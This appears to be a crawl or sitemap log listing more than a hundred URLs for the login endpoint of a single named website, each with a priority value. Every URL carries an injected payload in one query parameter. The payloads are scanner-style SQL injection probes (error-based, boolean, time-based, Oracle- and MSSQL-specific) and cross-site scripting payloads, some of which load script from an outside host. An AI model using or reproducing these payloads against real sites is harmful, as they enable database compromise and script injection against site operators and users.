http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=32)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22%20AND%20%223Z%22=%22Ba 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%22)%20AND%2039=56%20AND%20(%22QS%22=%22QS 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25%22%29%20AND%2018%3D19%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25%27%29%20AND%2028%3D28%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25%27%29%20AND%2035%3D35%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25%27%29%20AND%2071%3D72%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25%27%29%20AND%2087%3D98%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%2015=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%2026=21%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%2032=32%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%2055=68%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(36=36)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=99)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(77=37)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=83)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%2527 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%2527%20AND%2036=36%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%2527%20AND%2053=11%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%5C%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%5C' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple%bf%27 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'1P'='d0 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'8I'='8I 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'KS'='mp 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'LI'='LI 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'Xk'%20LIKE%20'Xk 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20'pl'%20LIKE%20'y5 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%20'mq'='OJ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%20'yB'='yB'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20'kq'='kq 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(25=11)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20'th'='th 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=71)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20'wB'='wB 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20'YP'='YP 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%22 0.0003 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20('G3'%20LIKE%20'G3 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20('am'%20LIKE%20'Jd 0.0001 